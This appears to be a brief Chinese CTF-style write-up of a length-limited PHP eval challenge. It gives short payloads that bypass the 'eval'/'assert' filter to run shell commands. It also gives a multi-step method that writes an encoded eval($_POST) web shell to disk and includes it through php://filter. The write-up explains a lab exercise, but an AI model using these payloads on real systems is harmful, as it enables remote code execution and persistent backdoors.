源码
<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
eval($param);
}
?>
要求传入参数长度不能超过17,不能用assert和eval
这里小编例举了两种方法,除此之外还可以用...运算符定义变长参数函数,利用其特性展开数组结合回调后门
法1:
利用反引号包裹定义的新传参,例如
param=`$_GET[1]`;&1=bash
param=exec($_GET[1]);
法2 :
我们使用文件包含file_put_contents
代码:
param=$_GET[a](N,a,8);&a=file_put_contents
# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
三个相关参数:filename data flag